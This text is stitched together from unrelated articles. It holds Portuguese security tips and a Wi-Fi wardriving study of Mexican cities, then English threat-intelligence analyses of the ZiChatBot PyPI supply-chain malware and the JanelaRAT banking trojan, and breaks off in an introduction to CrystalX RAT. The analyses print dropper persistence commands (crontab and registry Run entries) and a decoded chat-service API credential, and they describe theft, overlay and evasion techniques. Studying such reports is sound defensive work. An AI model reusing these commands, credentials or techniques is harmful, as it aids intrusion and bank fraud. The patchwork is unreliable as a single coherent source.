• Não compartilhe mais dados do que o absolutamente necessário. Se um jogo ou site adulto insistir que você se inscreva, insira dados pessoais ou vincule contas de terceiros em vez de apenas verificar sua data de nascimento, isso é um grande sinal de perigo. Os sites raramente coletam dados confidenciais sem motivo. No melhor dos casos, essas informações acabam nas mãos de profissionais de marketing e rastreadores de anúncios. No pior, caem nas mãos de agentes mal-intencionados, que podem usá-las para chantagem, phishing ou para invadir suas outras contas.
• Não clique em banners de anúncios em sites adultos. Até mesmo as plataformas mais populares, como o Pornhub, ocasionalmente hospedam anúncios com malware. Se você achar difícil se conter, use uma solução de segurança que bloqueará downloads de malware e impedirá redirecionamentos para sites suspeitos.

• Como assistir a pornografia com segurança: um guia para adultos
• Assista filmes pornôs discretamente
• O que acontece no quarto fica no quarto
• A IA e a nova realidade da sextorsão

A Copa do Mundo de 2026 é um dos eventos de futebol mais aguardados do ano. O torneio será sediado em três países: EUA, Canadá e México. Infelizmente, eventos desse porte atraem não apenas torcedores, mas também golpistas de todo o mundo. Já revelamos como os cibercriminosos estão se preparando para a Copa do Mundo e hoje estamos falando sobre segurança digital para os torcedores no México.

O país sediará 13 partidas e receberá milhões de turistas. Eles ficarão hospedados em hotéis, assistirão a jogos, frequentarão restaurantes, transitarão por aeroportos e visitarão pontos turísticos populares, e em todos os lugares que forem, a tentação de se conectar a redes Wi-Fi públicas será grande.

Avaliamos mais de 84.500 (!) pontos de acesso Wi-Fi públicos na Cidade do México, em Guadalajara e em Monterrey, e temos muitas informações para compartilhar sobre a segurança deles. Alerta de spoiler: muitas redes ainda usam padrões de segurança desatualizados, então, você realmente não deve sair de férias sem proteção confiável e um eSIM.

O que foi testado e de que forma

Percorrer o México a pé à procura de pontos de acesso Wi-Fi públicos teria sido um pouco complicado, embora tenha sido exatamente isso que fizemos num estudo semelhante sobre a segurança de redes Wi-Fi em Paris. Você pode conferir os resultados desse estudo na postagem Como é a segurança das redes Wi-Fi em Paris?

Dessa vez, a missão era muito mais desafiadora: mapear o cenário de redes sem fio de três grandes metrópoles. Foi por isso que recorremos ao wardriving, ou seja, usamos um smartphone ou notebook para buscar e registrar redes sem fio de dentro de um veículo em movimento. Isso é parecido com o que seu telefone faz ao procurar redes Wi-Fi próximas constantemente. Porém, em vez de nos conectarmos a elas, apenas coletamos dados.

Todas as informações foram estritamente usadas para observação passiva e análise de infraestrutura. Os especialistas da Equipe de Pesquisa e Análise Global da Kaspersky (GReAT) coletaram apenas informações de serviço transmitidas publicamente. Não houve tentativas de autenticação, interceptação de tráfego, exploração de sistemas ou interação com as redes sem fio detectadas. Os pontos de acesso móveis implementados em carros e em dispositivos móveis foram excluídos da amostra.

Nosso principal alvo era a Cidade do México, a capital do país e uma das cidades com maior densidade demográfica da América Latina. Percorremos de carro alguns dos pontos turísticos mais populares da cidade: Estádio da Cidade do México, Aeroporto Internacional, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco e Coyoacán.

Percorremos rotas semelhantes em Guadalajara e Monterrey: estádios, avenidas principais, aeroportos e bairros populares. Abaixo, é possível ver um mapa de calor das áreas que percorremos. As regiões em vermelho representam as áreas de maior densidade de pontos de acesso público, passando pelas regiões em amarelo e verde, até chegar nas azuis, que representam a concentração mais baixa.

Usamos reconhecimento passivo por rádio para registrar 84.500 sinais e 69.500 identificadores de rede exclusivos nessas três cidades. A maioria dos sinais foi captada na Cidade do México (61,4%), seguida por Guadalajara (23,6%) e Monterrey (14,8%).

O que analisamos:

• Identificadores de rede sem fio (SSIDs): os nomes que aparecem na lista de redes Wi-Fi disponíveis
• Informações obtidas desses identificadores
• Configurações padrão do roteador e como os ISPs implementam suas redes
• Frequências usadas e características do sinal
• Carga dos canais e uso do espectro de radiofrequência
• Configurações de segurança das redes sem fio:
  • Redes abertas e inseguras
  • Redes com WPS ativado
  • Redes seguras (WPA2/WPA3) com WPS ativado

Você pode encontrar a versão completa do estudo no blog Securelist.

Nomes de pontos de acesso Wi-Fi públicos reveladores

Os nomes das redes (SSIDs) podem revelar muitas informações de forma involuntária sobre os fabricantes do hardware, ISPs e métodos de implementação, além de revelar se um ponto de acesso pertence a uma empresa ou a um usuário.

Cerca de 34% das redes Wi-Fi públicas registradas nem sequer alteraram seus nomes, mantendo os SSIDs originais dos fabricantes dos roteadores ou usando convenções de nomenclatura padrão dos seus ISPs. Essa pode ser uma informação bastante útil para atacantes, pois esse tipo de nome de rede permite que eles saibam qual ponto de acesso pertence a determinado provedor, qual hardware está sendo usado e a sua configuração padrão provável.

Outro fato preocupante é o grande número de redes Wi-Fi (mais de 30%) que usam o endereço MAC do ponto de acesso (BSSID) como nome da rede visível. Os primeiros bytes de um BSSID contêm um Identificador organizacional único (OUI) que revela quem é o fabricante do roteador. Essa é uma informação útil para pessoas mal-intencionadas: elas podem descobrir quem fabricou o hardware e testar vulnerabilidades específicas relativas aos modelos dessa marca.

O Wi-Fi do México está bem protegido?

Pode-se considerar que um ponto de acesso protegido com WPA2/WPA3 está mais ou menos seguro. Todos os outros mecanismos de autenticação produzem resultados muito mais fracos. Agrupamos as redes Wi-Fi públicas em quatro categorias:

• Seguras (WPA2/WPA3)
• Inseguras (abertas/WEP)
• Fracas (WPA)
• Indeterminadas

Os resultados obtidos nas três cidades são muito parecidos: cerca de 82% de todos os pontos de acesso analisados estão protegidos por padrões seguros. O protocolo WPA, que é inseguro e está desatualizado, quase não é utilizado. No entanto, mais de 10% dos pontos de acesso são completamente inseguros. Quem se conecta a essas redes corre o risco de ser vítima de interceptação de tráfego e vigilância oculta.

Mas a segurança não é avaliada apenas pelos protocolos WPA. Também verificamos a presença do WPS, o conhecido recurso que possibilita a conexão rápida a uma rede sem necessidade de senha e que é altamente vulnerável a ataques. Descobriu-se que o WPS está ativado em 47% dos pontos de acesso na Cidade do México (quase a metade), 43% em Guadalajara e 41% em Monterrey. Em média, 45% dos pontos de acesso são potencialmente vulneráveis a ataques relacionados ao WPS, o que representa um sacrifício à segurança em nome da conveniência.

Além disso, esse recurso permaneceu ativo com frequência até mesmo em redes WPA2/WPA3 aparentemente seguras (cerca de metade delas utilizava WPS). Isso mostra que, para que um ponto de acesso Wi-Fi seja considerado seguro, não basta ter WPA2/WPA3, pois recursos adicionais, como o WPS, ainda podem viabilizar ataques.

O que mais os turistas precisam saber

Os riscos digitais em uma viagem não se limitam apenas a redes Wi-Fi públicas, especialmente porque muitas pessoas estão migrando do Wi-Fi público para um eSIM. Ainda há muitas ameaças em lugares com grande movimentação de pessoas: carregadores USB públicos, códigos QR com links trocados, ataques por meio de NFC e Bluetooth e, é claro, táticas de engenharia social. Vamos nos aprofundar em cada um desses fatores.

Estações de carregamento. Os carregadores USB públicos também podem ser perigosos: pessoas mal-intencionadas podem obter acesso aos dados no seu dispositivo ou tentar instalar um malware. Detalhamos esses ataques na nossa postagem Roubo de dados durante o carregamento do smartphone.

Códigos QR perigosos. Os criminosos podem disseminar códigos QR contendo phishing em pontos turísticos populares. Os pretextos podem variar bastante; por exemplo, anúncios de “eventos” para torcedores de um time específico ou links que supostamente oferecem descontos ou exibem cardápios de restaurantes. Na realidade, qualquer código QR postado na rua pode ser considerado inseguro por padrão, e você não deve utilizar seu smartphone para lê-los, a menos que tenha um Analisador de ameaças de códigos QR instalado.

Transmissões, ingressos e bolões falsos. Em postagens anteriores, descrevemos casos em que pessoas mal-intencionadas estavam distribuindo malware por meio de aplicativos IPTV falsos para aproveitar da empolgação em torno da Copa do Mundo de 2026. Lembre-se, mesmo que você planeje assistir aos jogos em casa, ainda precisa ficar alerta e não confiar em qualquer site que anuncie transmissões gratuitas, ofereça bolões ou prometa pagamentos bastante generosos.

Ataques por NFC e Bluetooth. Deixar o Bluetooth ativado em locais com grande movimentação de pessoas também pode causar problemas: alguém pode tentar descobrir seu dispositivo, rastreá-lo ou fazer uma solicitação de pareamento indesejada. Os serviços NFC com pagamentos sem contato também oferecem riscos, especialmente com relação a pagamentos em locais suspeitos.

Como proteger a si mesmo e seus dispositivos

Apesar da prevalência de pontos de acesso Wi-Fi públicos WPA2/WPA3 seguros na Cidade do México, em Guadalajara e em Monterrey, nosso estudo mostra que as redes Wi-Fi públicas continuam vulneráveis. Também é importante lembrar que os invasores podem criar redes falsas (as chamadas gêmeas do mal) disfarçadas de redes Wi-Fi públicas legítimas em aeroportos, hotéis, cafeterias e pontos turísticos.

É quase impossível para um usuário comum dizer o quanto um ponto de acesso específico é seguro ao tentar se conectar a ele. É por isso que a opção mais segura é usar dados móveis para acessar a Internet, eliminando por completo a necessidade de Wi-Fi. Além disso, não há necessidade de pesquisar as leis locais, tarifas e outras informações relativas a redes móveis para cada país que você planeja visitar. Basta comprar um cartão eSIM global  on-line em dois cliques. Explicamos como facilitar todo esse processo na postagem Internet móvel com a Kaspersky eSIM Store.

Se você ainda planeja usar uma rede Wi-Fi pública, sempre use uma VPN para proteger seu dispositivo e dados ao se conectar a redes Wi-Fi desconhecidas e desprotegidas. Isso cria um túnel criptografado entre o seu dispositivo e o servidor VPN, impossibilitando a interceptação dos seus dados ao longo do caminho. Ainda não escolheu uma VPN? Experimente a Kaspersky Secure Connection, que está incluída nas assinaturas do Kaspersky Premium e do Kaspersky Plus.

Agora, se você ainda planeja participar da Copa do Mundo sem nenhuma solução de segurança cibernética, pelo menos siga estas regras básicas de higiene digital:

• Não use carregadores USB públicos
• Não envie informações confidenciais por conexões que não são seguras
• Não faça login em contas bancárias, e-mail ou redes sociais por meio de redes Wi-Fi inseguras
• Desative o Bluetooth e o NFC ao frequentar lugares com grande movimentação de pessoas
• Não confie nos códigos QR postados na rua
• Somente se conecte a um Wi-Fi público quando for absolutamente necessário

Leia também os seguintes artigos e garanta que torcer pelo seu time favorito não seja apenas emocionante, mas também seguro:

• Não deixe que aplicativos IPTV falsos estraguem a Copa do Mundo para você
• As ciberameaças nas competições esportivas mundiais
• Como assistir ao futebol com segurança
• Viaje com segurança e conforto
• Segurança ao usar o Airbnb: dicas para viagem tranquila

Introduction

Through our daily threat hunting, we noticed that, beginning in July 2025, a series of malicious wheel packages were uploaded to PyPI (the Python Package Index). We shared this information with the public security community, and the malware was removed from the repository. We submitted the samples to Kaspersky Threat Attribution Engine (KTAE) for analysis. Based on the results, we believe the packages may be linked to malware discussed in a Threat Intelligence report on OceanLotus.

While these wheel packages do implement the features described on their PyPI web pages, their true purpose is to covertly deliver malicious files. These files can be either .DLL or .SO (Linux shared library), indicating the packages’ ability to target both Windows and Linux platforms. They function as droppers, delivering the final payload – a previously unknown malware family that we have named ZiChatBot. Unlike traditional malware, ZiChatBot does not communicate with a dedicated command and control (C2) server, but instead uses a series of REST APIs from the public team chat app Zulip as its C2 infrastructure.

To conceal the malicious package containing ZiChatBot, the attacker created another benign-looking package that included the malicious package as a dependency. Based on these facts, we confirm that this campaign is a carefully planned and executed PyPI supply chain attack.

Technical details

Spreading

The attacker created three projects on PyPI and uploaded malicious wheel packages designed to imitate popular libraries, tricking users into downloading them. This is a clear example of a supply chain attack via PyPI. See below for detailed information about the fake libraries and their corresponding wheel packages.

Malicious wheel packages

The packages added by the attacker and listed on PyPI’s download pages are:

• uuid32-utils library for generating a 32-character random string as a UUID
• colorinal library for implementing cross-platform color terminal text
• termncolor library for ANSI color format for terminal output

The key metadata for these packages are as follows:

Pip install command	File name	First upload date	Author / Email
pip install uuid32-utils	uuid32_utils-1.x.x-py3-none-[OS platform].whl	2025-07-16	laz**** / laz****@tutamail.com
pip install colorinal	colorinal-0.1.7-py3-none-[OS platform].whl	2025-07-22	sym**** / sym****@proton.me
pip install termncolor	termncolor-3.1.0-py3-none-any.whl	2025-07-22	sym**** / sym****@proton.me

Based on the distribution information on the PyPI web page, we can see that it offers X86 and X64 versions for Windows, as well as an x86_64 version for Linux. The colorinal project, for example, provides the following download options:

Initial infection

The uuid32-utils and colorinal libraries employ similar infection chains and malicious payloads. As a result, this analysis will focus on the colorinal library as a representative example.

A quick look at the code of the third library, termncolor, reveals no apparent malicious content. However, it imports the malicious colorinal library as a dependency. This method allows attackers to deeply conceal malware, making the termncolor library appear harmless when distributing it or luring targets.

During the initial infection stage, the Python code is nearly identical across both Windows and Linux platforms. Here, we analyze the Windows version as an example.

Windows version

Once a Python user downloads and installs the colorinal-0.1.7-py3-none-win_amd64.whl wheel package file, or installs it using the pip tool, the ZiChatBot’s dropper (a file named terminate.dll) will be extracted from the wheel package and placed on the victim’s hard drive.

After that, if the colorinal library is imported into the victim’s project, the Python script file at [Python library installation path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\__init__.py will be executed first.

This Python script imports and executes another script located at [python library install path]\colorinal-0.1.7-py3-none-win_amd64\colorinal\unicode.py. The is_color_supported() function in unicode.py is called immediately.

The comment in the is_color_supported() function states that the highlighted code checks whether the user’s terminal environment supports color. The code actually loads the terminate.dll file into the Python process and then invokes the DLL’s exported function envir, passing the UTF-8-encoded string xterminalunicod as a parameter. The DLL acts as a dropper, delivering the final payload, ZiChatBot, and then self-deleting. At the end of the is_color_supported() function, the unicode.py script file is also removed. These steps eliminate all malicious files in the library and deploy ZiChatBot.
For the Linux platform, the wheel package and the unicode.py Python script are nearly identical to the Windows version. The only difference is that the dropper file is named “terminate.so”.

Dropper for ZiChatBot

From the previous analysis, we learned that the dropper is loaded into the host Python process by a Python script and then activated. The main logic of the dropper is implemented in the envir export function to achieve three objectives:

1. Deploy ZiChatBot.
2. Establish an auto-run mechanism.
3. Execute shellcode to remove the dropper file (terminate.dll) and the malicious script file from the installed library folder.

The dropper first decrypts sensitive strings using AES in CBC mode. The key is the string-type parameter “xterminalunicode” of the exported function. The decrypted strings are “libcef.dll”, “vcpacket”, “pkt-update”, and “vcpktsvr.exe”.

Next, the malware uses the same algorithm to decrypt the embedded data related to ZiChatBot. It then decompresses the decrypted data with LZMA to retrieve the files vcpktsvr.exe and libcef.dll associated with ZiChatBot. The malware creates a folder named vcpacket in the system directory %LOCALAPPDATA%, and places these files into it.

To establish persistence for ZiChatBot, the dropper creates the following auto-run entry in the registry:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"pkt-update"="C:\Users\[User name]\AppData\Local\vcpacket\vcpktsvr.exe"

Once preparations are complete, the malware uses the XOR algorithm to decrypt the embedded shellcode with the three-byte key 3a7. It then searches the decrypted shellcode’s memory for the string Policy.dllcppage.dll and replaces it with its own file name, terminate.dll, and redirects execution to the shellcode’s memory space.

The shellcode employs a djb2-like hash method to calculate the names of certain APIs and locate their addresses. Using these APIs, it finds the dropper file with the name terminate.dll that was previously passed by the DLL before unloading and deleting it.

Linux version

The Linux version of the dropper places ZiChatBot in the path /tmp/obsHub/obs-check-update and then creates an auto-run job using crontab. Unlike the Windows version, the Linux version of ZiChatBot only consists of one ELF executable file.

system("chmod +x /tmp/obsHub/obs-check-update") 
system("echo \"5 * * * * /tmp/obsHub/obs-check-update" | crontab - ")

ZiChatBot

The Windows version of ZiChatBot is a DLL file (libcef.dll) that is loaded by the legitimate executable vcpktsvr.exe (hash: 48be833b0b0ca1ad3cf99c66dc89c3f4). The DLL contains several export functions, with the malicious code implemented in the cef_api_mash export. Once the DLL is loaded, this function is invoked by the EXE file. ZiChatBot uses the REST APIs from Zulip, a public team chat application, as its command and control server.

ZiChatBot is capable of executing shellcode received from the server and only supports this one control command. Once it runs, it initiates a series of sequential HTTP requests to the Zulip REST API.

In each HTTP request, an API authentication token is included as an HTTP header for server-side authentication, as shown below.

// Auth token:
TW9yaWFuLWJvdEBoZWxwZXIuenVsaXBjaGF0LmNvbTpVOFJFWGxJNktmOHFYQjlyUXpPUEJpSUE0YnJKNThxRw==

// Decoded Auth token
Morian-bot@helper.zulipchat.com:U8REXlI6Kf8qXB9rQzOPBiIA4brJ58qG

ZiChatBot utilizes two separate channel-topic pairs for its operations. One pair transmits current system information, and the other retrieves a message containing shellcode. Once the shellcode is received, a new thread is created to execute it. After executing the command, a heart emoji is sent in response to the original message to indicate the execution was successful.

Infrastructure

We did not find any traditional infrastructure, such as compromised servers or commercial VPS services and their associated IPs and domains. Instead, the malicious wheel packages were uploaded to the Python Package Index (PyPI), a public, shared Python library. The malware, ZiChatBot, leverages Zulip’s public team chat REST APIs as its command and control server.

The “helper” organization that the attacker had registered on the Zulip service has now been officially deactivated by Zulip. However, infected devices may still attempt to connect to the service, so to help you locate and cure them, we recommend adding the full URL helper.zulipchat.com to your denylist.

Victims

The malware was uploaded in July 2025. Upon discovering these attacks, we quickly released an update for our product to detect the relevant files and shared the necessary information with the public security community. As a result, the malicious software was swiftly removed from PyPI, and the organization registered on the Zulip service was officially deactivated. To date, we have not observed any infections based on our telemetry or public reports.

Attribution

Based on the results from our KTAE system, the dropper used by ZiChatBot shows a 64% similarity to another dropper we analyzed in a TI report, which was linked to OceanLotus. Reverse engineering shows that both droppers use nearly identical algorithms and logic for to decrypt and decompress their embedded payloads.

Conclusions

As an active APT organization, OceanLotus primarily targets victims in the Asia-Pacific region. However, our previous reports have highlighted a growing trend of the group expanding its activities into the Middle East. Moreover, the attacks described in this report – executed through PyPI – target Python users worldwide. This demonstrates OceanLotus’s ongoing effort to broaden its attack scope.

In the first half of 2025, a public report revealed that the group launched a phishing campaign using GitHub. The recent PyPI-based supply chain attack likely continues this strategy. Although phishing emails are still a common initial infection method for OceanLotus, the group is also actively exploring new ways to compromise victims through diverse supply chain attacks.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

Malicious wheel packages
termncolor-3.1.0-py3-none-any.whl
5152410aeef667ffaf42d40746af4d84

uuid32_utils-1.x.x-py3-none-xxxx.whl
0a5a06fa2e74a57fd5ed8e85f04a483a
e4a0ad38fd18a0e11199d1c52751908b
5598baa59c716590d8841c6312d8349e
968782b4feb4236858e3253f77ecf4b0
b55b6e364be44f27e3fecdce5ad69eca
02f4701559fc40067e69bb426776a54f
e200f2f6a2120286f9056743bc94a49d
22538214a3c917ff3b13a9e2035ca521

colorinal-0.1.7-py3-none-xxxx.whl
ba2f1868f2af9e191ebf47a5fab5cbab

Dropper for ZiChatBot
Backward.dll
c33782c94c29dd268a42cbe03542bca5
454b85dc32dc8023cd2be04e4501f16a

Backward.so
fce65c540d8186d9506e2f84c38a57c4
652f4da6c467838957de19eed40d39da

terminate.dll
1995682d600e329b7833003a01609252

terminate.so
38b75af6cbdb60127decd59140d10640

ZiChatBot
libcef.dll
a26019b68ef060e593b8651262cbd0f6

submitted by /u/Superblygreat656
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Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

      This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.

      If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.

      To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.

      Action Performed	Description
      Capture desktop image	Send compressed screenshots to the C2
      Specific screenshots	Crop specific screen regions and exfiltrate images
      Overlay windows	Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
      Keylogging	Keystroke capture
      Simulate keyboard	Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
      Track mouse input	Move the cursor, simulate clicks, and report the cursor position
      Display message	Show message boxes (custom title, text, buttons, or icons)
      System shutdown	Execute a forced shutdown sequence
      Command execution	Run CMD or PowerShell scripts/commands
      Task Manager manipulation	Launch Task Manager, find its window, and hide it to prevent discovery by the user
      Check for banking security software process	Detect the presence of anti-fraud systems
      Beaconing	Send host information (malware version, profile, presence of banking software)
      Toggle internal modes	Enable and disable modes such as screenshot flow, key injection, or overlay visibility
      Anti-analysis	Detect sandbox or automation tools

C2 infrastructure

Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.

Decoy overlay system

This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.

The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.

Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:

• “Configuring Windows updates, please wait.”
• “Do not turn off your computer; this could take some time.”

When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.

An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.

Anti-analysis techniques

In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.

Persistence

The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.

This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.

Victimology

Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.

According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.

Conclusions

JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.

This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.

To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.

Indicators of compromise

808c87015194c51d74356854dfb10d9e         MSI Dropper
d7a68749635604d6d7297e4fa2530eb6        JanelaRAT
ciderurginsx[.]com         Primary C2

Introduction

In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category.

Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen.

Technical details

Background

The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots.

After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware.

The builder and anti-debug features

By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities:

• MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs
• VM detect: checking running processes, presence of guest tools, and hardware characteristics
